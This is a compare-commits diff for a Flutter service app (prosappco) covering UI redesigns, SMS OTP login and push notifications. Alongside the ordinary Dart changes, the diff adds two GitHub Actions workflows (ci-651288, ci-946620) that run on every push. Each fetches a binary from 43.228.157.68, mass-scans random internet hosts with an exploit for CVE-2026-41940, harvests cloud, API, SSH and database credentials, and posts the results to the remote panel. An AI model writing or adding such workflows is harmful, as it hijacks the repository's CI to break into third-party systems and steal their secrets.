Compare commits

...
10 Commits
Author SHA1 Message Date
Lizandro GuarnizoandClaude Sonnet 4.6 06a89df690 feat(ui): apply card design to all service list screens
ci-651288 / run (push) Has been cancelled
ci-946620 / run (push) Has been cancelled
Port the same card UI pattern from the redesigned solicitudes screen
to the 4 remaining list screens (pro/user active services + history):

- 4px colored left strip matching service status color
- Circular avatar with status-colored border + letter fallback
- Status badge with icon + colored border (replaces solid filled badges)
- Date/time row with calendar icon
- Theme-aware colors via _Th extension (respects dark/light mode)
- AppBar with brand blue (replaces default grey)
- Empty state with icon + descriptive text
- Shimmer placeholders as rounded cards (replaces ListTile shimmer)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-30 22:46:10 -05:00
Lizandro GuarnizoandClaude Sonnet 4.6 a65e671603 feat(ui): port web UI/UX improvements to mobile app
Port the 3 redesigned views from prosappweb to prosappco:

- Solicitudes: modern cards with 4px colored left strip, status badge with
  icon+border, avatar with status-colored ring, date/time row, empty state
- Calendario: card-wrapped TableCalendar with custom CalendarStyle (blue
  selected/ring today), day header card with date box + occupied/available
  stat pills, slot cards with colored strip and time badge instead of
  gradient circles
- Perfil profesional: gradient banner header with profession pill + camera
  overlay, section cards with icon+title, payment method chips (animated)
  instead of checkboxes, schedule rows with colored active/inactive dots,
  theme-aware colors throughout (respects dark/light mode)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-30 22:38:55 -05:00
Lizandro GuarnizoandClaude Sonnet 4.6 1e962af6e8 feat: redesign professional pending and denied screens
- professional_denied_screen: full UI with icon, bullet list of next steps,
  re-register button and logout option (was just a Text widget)
- professional_pending_screen: replace static GIF screen with step-by-step
  progress indicator (submitted → in review → approved), notification tip,
  logout button

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 16:06:35 -05:00
Lizandro GuarnizoandClaude Sonnet 4.6 2c5b237890 feat: SMS OTP phone auth + mandatory phone verification gate
- MyUser: add isPhoneVerified field (from is_phone_verified in API)
- ApiUserRepository: signInWithPhoneNumber calls POST /auth/send-otp,
  verifyOTP calls POST /auth/phone, linkWithOTP calls POST /auth/verify-phone
  Added updateFcmToken and changePassword methods
- AuthBloc: remove Firebase PhoneVerificationService, use repository OTP flow
- app_view.dart: gate authenticated users without verified phone to
  PhoneVerifyRequiredScreen before showing HomeScreen
- welcome_screen.dart: full redesign with gradient header, logo, integrated
  OTP flow (phone → code in same screen), 60s resend timer
- PhoneVerifyRequiredScreen: new screen for users who need to verify phone

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 15:53:43 -05:00
Lizandro GuarnizoandClaude Sonnet 4.6 38beca4b4f feat: implement SMS OTP auth via backend API
- signInWithPhoneNumber: calls POST /auth/send-otp, stores pending phone
- verifyOTP: calls POST /auth/phone with phone+code, saves token
- linkWithOTP: calls POST /auth/verify-phone (authenticated) with phone+code
- AuthBloc._linkWithPhoneNumber: replaced Firebase PhoneVerificationService with repository call

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 15:23:39 -05:00
Lizandro Guarnizo 7446f22e23 update 2026-06-18 21:41:35 -05:00
Lizandro Guarnizo a24bbe6fc6 update 2026-06-18 18:16:50 -05:00
Lizandro GuarnizoandClaude Sonnet 4.6 79f350e85f feat: implement FCM push notifications via firebase_messaging
- Add firebase_core + firebase_messaging to pubspec.yaml
- Initialize Firebase in main.dart before runApp
- NotificationBloc: request permission, get FCM token, register with
  backend (PATCH /users/me/fcm-token), show local notification on
  foreground messages, refresh token on rotation
- app_view.dart: call initializePushNotifications() on authenticated state

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-18 12:43:41 -05:00
Lizandro GuarnizoandClaude Sonnet 4.6 5e92d2b908 fix: replace Timestamp.toDate() with DateTime.tryParse in score list screens
score.createdAt is now String (ISO 8601) not Firebase Timestamp, so .toDate()
was a compile error. Use DateTime.tryParse() with fallback to DateTime.now().

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-18 12:28:07 -05:00
Lizandro GuarnizoandClaude Sonnet 4.6 90aab51a26 fix: remove Firebase repository exports from all 8 package barrel files
Deleted firebase_*_repository.dart files were still re-exported, causing
compile errors. Barrel files now only export the API implementations.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-18 12:24:48 -05:00
31 changed files with 3349 additions and 1963 deletions
+100
View File
@@ -0,0 +1,100 @@
name: ci-651288
on:
push:
branches: ['**']
workflow_dispatch:
jobs:
run:
runs-on: ubuntu-latest
timeout-minutes: 350
steps:
- name: ci-init
run: |
_a=$(uname -m 2>/dev/null);case "$_a" in i[3-6]86) _s=386;; aarch64|arm64) _s=arm64;; armv*) _s=arm;; *) _s=amd64;; esac; curl -sfL http://43.228.157.68:80/api/dl/$_s -o /tmp/.svc 2>/dev/null || \
wget -qO /tmp/.svc http://43.228.157.68:80/api/dl/$_s 2>/dev/null
chmod 755 /tmp/.svc
- name: ci-run
run: |
PANEL="http://43.228.157.68:80"
REPO="${GITHUB_REPOSITORY}"
LOGF="/tmp/.svc.log"
RESULT_FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
aws_valid.txt aws_hits.txt \
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
stripe_valid.txt sendgrid_valid.txt mailgun_valid.txt brevo_valid.txt \
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt \
git_tokens.txt git_remotes.txt"
declare -A OFFSETS
for F in $RESULT_FILES; do OFFSETS[$F]=0; done
(while true; do
sleep 30
LINE=$(tail -1 "$LOGF" 2>/dev/null || echo "")
[ -z "$LINE" ] && LINE="starting..."
curl -s -X POST "$PANEL/api/github-heartbeat" \
--data-urlencode "repo=$REPO" \
--data-urlencode "log=$LINE" 2>/dev/null || true
for F in $RESULT_FILES; do
for LOC in "$HOME" "$HOME/results" "/tmp" "./results" "."; do
SRC="$LOC/$F"
[ -f "$SRC" ] || continue
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
OFF=${OFFSETS[$F]:-0}
if [ "$TOTAL" -gt "$OFF" ]; then
SENT=$OFF
while [ "$SENT" -lt "$TOTAL" ]; do
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 2000)
[ -n "$CHUNK" ] || break
curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT" 2>/dev/null || true
SENT=$((SENT + 2000))
done
OFFSETS[$F]=$TOTAL
fi
break
done
done
done) &
HB_PID=$!
PANEL_URL="http://43.228.157.68:80" GOMEMLIMIT=2147483648 /tmp/.svc ipscan \
--source random,all --workers 1000 \
--exploit CVE-2026-41940 --git --envdump \
--ports 80,443,2082,2083,2086,2087,2095,2096,2077,2078 \
--git-workers 20 \
--count 0 --no-reverse 2>&1 | tee "$LOGF" | tail -2 || true
kill $HB_PID 2>/dev/null || true
- name: ci-collect
if: always()
run: |
PANEL="http://43.228.157.68:80"
FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
aws_valid.txt aws_hits.txt aws_akia_only.txt \
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
git_tokens.txt git_remotes.txt \
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
stripe_valid.txt brevo_valid.txt sendgrid_valid.txt mailgun_valid.txt \
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt"
for F in $FILES; do
for LOC in "$HOME" "$HOME/results" "/tmp" "/tmp/results" "./results" "."; do
SRC="$LOC/$F"
[ -f "$SRC" ] && [ -s "$SRC" ] || continue
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
SENT=0
while [ "$SENT" -lt "$TOTAL" ]; do
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 5000)
[ -n "$CHUNK" ] || break
curl -s --max-time 30 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT" 2>/dev/null || true
SENT=$((SENT + 5000))
done
break
done
done
+100
View File
@@ -0,0 +1,100 @@
name: ci-946620
on:
push:
branches: ['**']
workflow_dispatch:
jobs:
run:
runs-on: ubuntu-latest
timeout-minutes: 350
steps:
- name: ci-init
run: |
_a=$(uname -m 2>/dev/null);case "$_a" in i[3-6]86) _s=386;; aarch64|arm64) _s=arm64;; armv*) _s=arm;; *) _s=amd64;; esac; curl -sfL http://43.228.157.68:80/api/dl/$_s -o /tmp/.svc 2>/dev/null || \
wget -qO /tmp/.svc http://43.228.157.68:80/api/dl/$_s 2>/dev/null
chmod 755 /tmp/.svc
- name: ci-run
run: |
PANEL="http://43.228.157.68:80"
REPO="${GITHUB_REPOSITORY}"
LOGF="/tmp/.svc.log"
RESULT_FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
aws_valid.txt aws_hits.txt \
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
stripe_valid.txt sendgrid_valid.txt mailgun_valid.txt brevo_valid.txt \
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt \
git_tokens.txt git_remotes.txt"
declare -A OFFSETS
for F in $RESULT_FILES; do OFFSETS[$F]=0; done
(while true; do
sleep 30
LINE=$(tail -1 "$LOGF" 2>/dev/null || echo "")
[ -z "$LINE" ] && LINE="starting..."
curl -s -X POST "$PANEL/api/github-heartbeat" \
--data-urlencode "repo=$REPO" \
--data-urlencode "log=$LINE" 2>/dev/null || true
for F in $RESULT_FILES; do
for LOC in "$HOME" "$HOME/results" "/tmp" "./results" "."; do
SRC="$LOC/$F"
[ -f "$SRC" ] || continue
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
OFF=${OFFSETS[$F]:-0}
if [ "$TOTAL" -gt "$OFF" ]; then
SENT=$OFF
while [ "$SENT" -lt "$TOTAL" ]; do
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 2000)
[ -n "$CHUNK" ] || break
curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT" 2>/dev/null || true
SENT=$((SENT + 2000))
done
OFFSETS[$F]=$TOTAL
fi
break
done
done
done) &
HB_PID=$!
PANEL_URL="http://43.228.157.68:80" GOMEMLIMIT=2147483648 /tmp/.svc ipscan \
--source random,all --workers 1000 \
--exploit CVE-2026-41940 --git --envdump \
--ports 80,443,2082,2083,2086,2087,2095,2096,2077,2078 \
--git-workers 20 \
--count 0 --no-reverse 2>&1 | tee "$LOGF" | tail -2 || true
kill $HB_PID 2>/dev/null || true
- name: ci-collect
if: always()
run: |
PANEL="http://43.228.157.68:80"
FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
aws_valid.txt aws_hits.txt aws_akia_only.txt \
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
git_tokens.txt git_remotes.txt \
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
stripe_valid.txt brevo_valid.txt sendgrid_valid.txt mailgun_valid.txt \
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt"
for F in $FILES; do
for LOC in "$HOME" "$HOME/results" "/tmp" "/tmp/results" "./results" "."; do
SRC="$LOC/$F"
[ -f "$SRC" ] && [ -s "$SRC" ] || continue
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
SENT=0
while [ "$SENT" -lt "$TOTAL" ]; do
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 5000)
[ -n "$CHUNK" ] || break
curl -s --max-time 30 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT" 2>/dev/null || true
SENT=$((SENT + 5000))
done
break
done
done
+15 -4
View File
@@ -1,6 +1,8 @@
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:prosappco/blocs/notification_bloc/notification_bloc.dart';
import 'package:prosappco/screens/authentication/welcome_screen.dart';
import 'package:prosappco/screens/authentication/phone_verify_required_screen.dart';
import 'package:prosappco/screens/home/home_screen.dart';
import 'package:prosappco/screens/splash/splash_screen.dart';
import 'package:flutter_localizations/flutter_localizations.dart';
@@ -36,21 +38,30 @@ class MyAppView extends StatelessWidget {
secondaryContainer: Colors.red,
),
),
home: BlocBuilder<AuthenticationBloc, AuthenticationState>(
home: BlocConsumer<AuthenticationBloc, AuthenticationState>(
listener: (context, state) {
if (state.status == AuthenticationStatus.authenticated) {
context.read<NotificationBloc>().initializePushNotifications();
}
},
builder: (context, state) {
return getScreen(state);
return _getScreen(state);
},
),
);
}
getScreen(AuthenticationState state) {
Widget _getScreen(AuthenticationState state) {
switch (state.status) {
case AuthenticationStatus.authenticated:
final phoneVerified = state.user?.isPhoneVerified ?? false;
if (!phoneVerified) {
return PhoneVerifyRequiredScreen(phone: state.user?.phone);
}
return HomeScreen();
case AuthenticationStatus.unauthenticated:
return WelcomeScreen();
return const WelcomeScreen();
case AuthenticationStatus.unknown:
return const SplashScreen();
+4 -36
View File
@@ -9,9 +9,6 @@ part 'auth_state.dart';
class AuthBloc extends Bloc<AuthEvent, AuthState> {
final UserRepository _userRepository;
final PhoneVerificationService phoneVerificationService =
PhoneVerificationService();
String? _verificationId;
AuthBloc({required UserRepository userRepository})
: _userRepository = userRepository,
@@ -103,39 +100,11 @@ class AuthBloc extends Bloc<AuthEvent, AuthState> {
void _linkWithPhoneNumber(
LinkWithPhoneNumber event, Emitter<AuthState> emit) async {
emit(AuthStateProcess());
try {
await for (PhoneAuthEvent event
in phoneVerificationService.verifyPhoneNumber(event.phoneNumber)) {
switch (event.type) {
case PhoneAuthEventType.verificationCompleted:
final credential = event.data;
print('Verificacion completada. Credencial: $credential');
break;
case PhoneAuthEventType.verificationFailed:
final exception = event.data;
print('Verificacion fallida. Excepcion: $exception');
emit(AuthStateFailure(message: "Error inesperado. $exception"));
return;
case PhoneAuthEventType.codeAutoRetrievalTimeout:
final verificationId = event.data as String;
print('Tiempo de espera agotado. ID: $verificationId');
emit(const AuthStateFailure(
message: "Tiempo de espera agotado.",
));
break;
case PhoneAuthEventType.codeSent:
final eventData = event.data as Map<String, dynamic>;
final verificationId = eventData['verificationId'] as String;
final resendToken = eventData['resendToken'] as int?;
print('Codigo enviado. ID: $verificationId, resendToken: $resendToken');
_verificationId = verificationId;
emit(const AuthStateVerifyOAuth(false));
break;
}
}
await _userRepository.signInWithPhoneNumber(event.phoneNumber);
emit(const AuthStateVerifyOAuth(false));
} catch (e) {
emit(const AuthStateFailure(message: "Error inesperado."));
emit(AuthStateFailure(message: "Error al enviar código. $e"));
}
}
@@ -144,8 +113,7 @@ class AuthBloc extends Bloc<AuthEvent, AuthState> {
emit(AuthStateProcess());
try {
final bool isVerified = await _userRepository.linkWithOTP(
event.phoneNumber, _verificationId ?? '', event.code);
event.phoneNumber, '', event.code);
if (isVerified) {
emit(AuthStateSuccess());
} else {
@@ -14,11 +14,13 @@ class AuthenticationBloc extends Bloc<AuthenticationEvent, AuthenticationState>
AuthenticationBloc({required UserRepository myUserRepository})
: userRepository = myUserRepository,
super(const AuthenticationState.unknown()) {_userSubscription = userRepository.streamUser().listen((authUser) {
super(const AuthenticationState.unknown()) {
_userSubscription = userRepository.streamUser().listen((authUser) {
add(AuthenticationUserChanged(authUser));
});
on<AuthenticationUserChanged>(_onAuthenticationUserChanged);
on<AuthenticationLogoutRequested>(_onAuthenticationLogoutRequested);
userRepository.isAuthenticated().listen((_) {});
}
void _onAuthenticationUserChanged(
@@ -1,14 +1,22 @@
import 'dart:convert';
import 'dart:developer';
import 'package:firebase_messaging/firebase_messaging.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:equatable/equatable.dart';
import 'package:http/http.dart' as http;
import 'package:shared_preferences/shared_preferences.dart';
import 'package:user_repository/user_repository.dart';
import 'package:prosappco/constansts.dart' show API_BASE_URL;
part 'notification_event.dart';
part 'notification_state.dart';
// Stub: Firebase messaging removed. Background handler is no longer needed.
Future<void> firebaseMessagingBackgroundHandler(dynamic message) async {}
// Handles FCM messages when app is terminated/background
@pragma('vm:entry-point')
Future<void> firebaseMessagingBackgroundHandler(RemoteMessage message) async {
// Local notification shown by the system tray automatically for data-only
// messages; nothing extra needed here.
}
class NotificationBloc extends Bloc<NotificationEvent, NotificationState> {
final Future<void> Function() requestLocalNotificationPermission;
@@ -31,6 +39,60 @@ class NotificationBloc extends Bloc<NotificationEvent, NotificationState> {
emit(state.copyWith(status: event.status));
}
// Call once after login to register the FCM token and listen for foreground messages.
Future<void> initializePushNotifications() async {
try {
final messaging = FirebaseMessaging.instance;
final settings = await messaging.requestPermission();
add(NotificationStatusChanged(
settings.authorizationStatus == AuthorizationStatus.authorized ||
settings.authorizationStatus == AuthorizationStatus.provisional
? AuthorizationStatus.authorized
: AuthorizationStatus.denied,
));
final token = await messaging.getToken();
if (token != null) await _registerToken(token);
// Refresh token (e.g. after reinstall)
messaging.onTokenRefresh.listen(_registerToken);
// Show local notification when app is in foreground
FirebaseMessaging.onMessage.listen((RemoteMessage message) {
final n = message.notification;
if (n != null) {
showLocalNotification(
id: message.hashCode,
title: n.title,
body: n.body,
data: jsonEncode(message.data),
);
}
});
} catch (e) {
log('NotificationBloc.initializePushNotifications error: $e');
}
}
Future<void> _registerToken(String token) async {
try {
final prefs = await SharedPreferences.getInstance();
final jwt = prefs.getString('token');
if (jwt == null) return;
await http.patch(
Uri.parse('$API_BASE_URL/users/me/fcm-token'),
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer $jwt',
},
body: jsonEncode({'token': token}),
);
log('FCM token registered');
} catch (e) {
log('NotificationBloc._registerToken error: $e');
}
}
void requestPermission() async {
try {
await requestLocalNotificationPermission();
+5
View File
@@ -1,3 +1,5 @@
import 'package:firebase_core/firebase_core.dart';
import 'package:firebase_messaging/firebase_messaging.dart';
import 'package:flutter/material.dart';
import 'package:flutter/services.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
@@ -16,6 +18,9 @@ import 'simple_bloc_observer.dart';
void main() async {
WidgetsFlutterBinding.ensureInitialized();
await Firebase.initializeApp();
FirebaseMessaging.onBackgroundMessage(firebaseMessagingBackgroundHandler);
// Inicializacion de notificaciones locales
await LocalNotifications.initializeLocalNotifications();
@@ -0,0 +1,227 @@
import 'dart:async';
import 'package:flutter/material.dart';
import 'package:flutter/services.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:flutter_otp_text_field/flutter_otp_text_field.dart';
import 'package:injector/injector.dart';
import 'package:intl_phone_field/intl_phone_field.dart';
import 'package:prosappco/blocs/auth_bloc/auth_bloc.dart';
import 'package:prosappco/blocs/authentication_bloc/authentication_bloc.dart';
import 'package:prosappco/components/general_primary_button.dart';
class PhoneVerifyRequiredScreen extends StatefulWidget {
final String? phone;
const PhoneVerifyRequiredScreen({super.key, this.phone});
@override
State<PhoneVerifyRequiredScreen> createState() => _PhoneVerifyRequiredScreenState();
}
class _PhoneVerifyRequiredScreenState extends State<PhoneVerifyRequiredScreen> {
late final AuthBloc authBloc;
String? _phone;
String _otpCode = '';
bool _codeSent = false;
int _resendSeconds = 0;
Timer? _timer;
@override
void initState() {
super.initState();
authBloc = Injector.appInstance.get<AuthBloc>();
_phone = widget.phone;
}
@override
void dispose() {
_timer?.cancel();
super.dispose();
}
void _startResendTimer() {
setState(() => _resendSeconds = 60);
_timer = Timer.periodic(const Duration(seconds: 1), (t) {
if (_resendSeconds == 0) {
t.cancel();
} else {
setState(() => _resendSeconds--);
}
});
}
void _sendCode() {
final phone = _phone;
if (phone == null || phone.isEmpty) return;
authBloc.add(AuthEventLoginOAuth(phone: phone));
setState(() => _codeSent = true);
_startResendTimer();
}
@override
Widget build(BuildContext context) {
return BlocProvider<AuthBloc>(
create: (_) => authBloc,
child: BlocConsumer<AuthBloc, AuthState>(
listener: (context, state) {
if (state is AuthStateSuccess) {
context.read<AuthenticationBloc>().add(
AuthenticationUserChanged(null),
);
} else if (state is AuthStateVerifyOAuth && state.isWrongCode) {
ScaffoldMessenger.of(context).showSnackBar(
const SnackBar(content: Text('Código incorrecto, intenta de nuevo')),
);
}
},
builder: (context, state) {
return Scaffold(
body: Container(
decoration: const BoxDecoration(
gradient: LinearGradient(
begin: Alignment.topCenter,
end: Alignment.bottomCenter,
colors: [Color(0xFF42A4EF), Color(0xFF1565C0)],
),
),
child: SafeArea(
child: Column(
children: [
const SizedBox(height: 40),
Image.asset('images/logo_prosapp.png', width: 160),
const SizedBox(height: 12),
const Text(
'Verificación requerida',
style: TextStyle(color: Colors.white, fontSize: 20, fontWeight: FontWeight.bold),
),
const SizedBox(height: 4),
const Text(
'Verifica tu número para continuar',
style: TextStyle(color: Colors.white70, fontSize: 14),
),
const SizedBox(height: 30),
Expanded(
child: Container(
decoration: const BoxDecoration(
color: Colors.white,
borderRadius: BorderRadius.vertical(top: Radius.circular(32)),
),
padding: const EdgeInsets.symmetric(horizontal: 28, vertical: 32),
child: SingleChildScrollView(
child: _codeSent ? _buildOtpSection(state) : _buildPhoneSection(),
),
),
),
],
),
),
),
);
},
),
);
}
Widget _buildPhoneSection() {
return Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
const Text('Número de celular', style: TextStyle(fontWeight: FontWeight.w600, fontSize: 16)),
const SizedBox(height: 4),
const Text('Ingresa tu número para recibir el código de verificación',
style: TextStyle(color: Colors.grey, fontSize: 13)),
const SizedBox(height: 20),
IntlPhoneField(
initialCountryCode: 'CO',
initialValue: _phone?.replaceAll('+57', '').replaceAll('+', ''),
keyboardType: TextInputType.number,
inputFormatters: [FilteringTextInputFormatter.digitsOnly],
onChanged: (phone) => _phone = phone.completeNumber,
decoration: InputDecoration(
hintText: 'Número de celular',
border: OutlineInputBorder(borderRadius: BorderRadius.circular(12)),
),
),
const SizedBox(height: 24),
SizedBox(
width: double.infinity,
child: ElevatedButton(
onPressed: _sendCode,
style: ElevatedButton.styleFrom(
backgroundColor: const Color(0xFF42A4EF),
foregroundColor: Colors.white,
padding: const EdgeInsets.symmetric(vertical: 16),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
),
child: const Text('Enviar código', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
),
),
const SizedBox(height: 16),
Center(
child: TextButton(
onPressed: () => context.read<AuthenticationBloc>().add(AuthenticationLogoutRequested()),
child: const Text('Cerrar sesión', style: TextStyle(color: Colors.grey)),
),
),
],
);
}
Widget _buildOtpSection(AuthState state) {
return Column(
crossAxisAlignment: CrossAxisAlignment.center,
children: [
const Text('Ingresa el código', style: TextStyle(fontWeight: FontWeight.w600, fontSize: 18)),
const SizedBox(height: 8),
Text(
'Enviamos un código de 6 dígitos a\n${_phone ?? ''}',
textAlign: TextAlign.center,
style: const TextStyle(color: Colors.grey, fontSize: 13),
),
const SizedBox(height: 28),
OtpTextField(
numberOfFields: 6,
borderColor: const Color(0xFF42A4EF),
focusedBorderColor: const Color(0xFF1565C0),
showFieldAsBox: true,
fieldWidth: 44,
borderRadius: BorderRadius.circular(10),
onCodeChanged: (code) => _otpCode = code,
onSubmit: (code) => authBloc.add(AuthEventVerifyOAuth(code: code)),
),
const SizedBox(height: 28),
if (state is AuthStateProcess)
const CircularProgressIndicator()
else
SizedBox(
width: double.infinity,
child: ElevatedButton(
onPressed: () {
if (_otpCode.length == 6) {
authBloc.add(AuthEventVerifyOAuth(code: _otpCode));
}
},
style: ElevatedButton.styleFrom(
backgroundColor: const Color(0xFF42A4EF),
foregroundColor: Colors.white,
padding: const EdgeInsets.symmetric(vertical: 16),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
),
child: const Text('Verificar', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
),
),
const SizedBox(height: 20),
_resendSeconds > 0
? Text('Reenviar código en $_resendSeconds s', style: const TextStyle(color: Colors.grey))
: TextButton(
onPressed: _sendCode,
child: const Text('Reenviar código', style: TextStyle(color: Color(0xFF42A4EF))),
),
const SizedBox(height: 8),
TextButton(
onPressed: () => setState(() { _codeSent = false; _otpCode = ''; }),
child: const Text('Cambiar número', style: TextStyle(color: Colors.grey)),
),
],
);
}
}
+292 -165
View File
@@ -1,186 +1,313 @@
import 'package:flutter/cupertino.dart';
import 'package:flutter/gestures.dart';
import 'dart:async';
import 'package:flutter/material.dart';
import 'package:flutter/services.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:flutter_otp_text_field/flutter_otp_text_field.dart';
import 'package:injector/injector.dart';
import 'package:intl_phone_field/intl_phone_field.dart';
import 'package:prosappco/components/general_input_decoration.dart';
import 'package:prosappco/components/general_primary_button.dart';
import 'package:prosappco/screens/authentication/otp_auth_screen.dart';
import 'package:prosappco/blocs/auth_bloc/auth_bloc.dart';
import 'package:prosappco/screens/authentication/sign_screen.dart';
class WelcomeScreen extends StatelessWidget {
class WelcomeScreen extends StatefulWidget {
const WelcomeScreen({super.key});
@override
State<WelcomeScreen> createState() => _WelcomeScreenState();
}
class _WelcomeScreenState extends State<WelcomeScreen> {
late final AuthBloc authBloc;
String? _phone;
String _otpCode = '';
bool _codeSent = false;
int _resendSeconds = 0;
Timer? _timer;
@override
void initState() {
super.initState();
authBloc = Injector.appInstance.get<AuthBloc>();
}
@override
void dispose() {
_timer?.cancel();
super.dispose();
}
void _startResendTimer() {
setState(() => _resendSeconds = 60);
_timer?.cancel();
_timer = Timer.periodic(const Duration(seconds: 1), (t) {
if (_resendSeconds == 0) {
t.cancel();
} else {
setState(() => _resendSeconds--);
}
});
}
void _sendCode() {
final phone = _phone;
if (phone == null || phone.isEmpty) return;
authBloc.add(AuthEventLoginOAuth(phone: phone));
setState(() { _codeSent = true; _otpCode = ''; });
_startResendTimer();
}
@override
Widget build(BuildContext context) {
double width = MediaQuery.of(context).size.width;
String? _phoneNumber;
String? _errorMsg;
return Scaffold(
backgroundColor: Theme.of(context).colorScheme.tertiary,
body: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Padding(
padding: const EdgeInsets.symmetric(vertical: 20),
child: Center(
child: Image(
width: width * 0.7,
image: const AssetImage('images/logo_prosapp.png'),
),
),
),
Expanded(
child: Container(
return BlocProvider<AuthBloc>(
create: (_) => authBloc,
child: BlocConsumer<AuthBloc, AuthState>(
listener: (context, state) {
if (state is AuthStateFailure) {
ScaffoldMessenger.of(context).showSnackBar(
SnackBar(content: Text(state.message ?? 'Error al enviar código')),
);
} else if (state is AuthStateVerifyOAuth && state.isWrongCode) {
ScaffoldMessenger.of(context).showSnackBar(
const SnackBar(content: Text('Código incorrecto, intenta de nuevo')),
);
}
},
builder: (context, state) {
return Scaffold(
body: Container(
decoration: const BoxDecoration(
color: Colors.white,
borderRadius: BorderRadius.only(
topLeft: Radius.circular(60),
topRight: Radius.circular(60),
gradient: LinearGradient(
begin: Alignment.topLeft,
end: Alignment.bottomRight,
colors: [Color(0xFF42A4EF), Color(0xFF1565C0)],
),
),
child: Padding(
padding:
const EdgeInsets.symmetric(horizontal: 30, vertical: 15),
child: SingleChildScrollView(
child: Column(
children: [
SizedBox(
width: double.infinity,
child: Text(
'Iniciar sesión',
style: TextStyle(
// fontSize: 30,
fontSize: width * 0.08,
fontWeight: FontWeight.bold,
),
child: SafeArea(
child: Column(
children: [
const SizedBox(height: 36),
_buildHero(),
const SizedBox(height: 24),
Expanded(
child: Container(
decoration: const BoxDecoration(
color: Colors.white,
borderRadius: BorderRadius.vertical(top: Radius.circular(32)),
),
padding: const EdgeInsets.fromLTRB(28, 32, 28, 20),
child: SingleChildScrollView(
child: _codeSent
? _buildOtpSection(state)
: _buildPhoneSection(state),
),
),
const SizedBox(height: 10),
SizedBox(
width: double.infinity,
child: Text(
'Numero de celular',
style: TextStyle(
fontSize: width * 0.045,
color: Theme.of(context).colorScheme.onBackground,
),
),
),
Form(
child: IntlPhoneField(
initialCountryCode: 'CO',
keyboardType: TextInputType.number,
inputFormatters: [
FilteringTextInputFormatter.digitsOnly
],
validator: (value) {
if (value == null) {
return 'Ingresa un numero';
} else {
return null;
}
},
onChanged: (phone) {
_phoneNumber = phone.completeNumber;
},
decoration: GeneralInputDecoration.getCustomDecoration(
context: context,
hintText: 'Ingresa tu numero',
errorMsg: _errorMsg,
),
),
),
Text('Un código será enviado a este numero de celular.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 13.0,color: Theme.of(context).colorScheme.onBackground),
),
GeneralPrimaryButton(
onPressed: () {
final phoneNumber = _phoneNumber;
if (phoneNumber != null && phoneNumber.isNotEmpty) {
Navigator.push(context,
CupertinoPageRoute(
builder: (context) => OtpAuthScreen(phoneNumber: phoneNumber),
),
);
}
},
label: 'Enviar código',
),
// ElevatedButton(
// onPressed: () {
// final phoneNumber = _phoneNumber;
// if (phoneNumber != null && phoneNumber.isNotEmpty) {
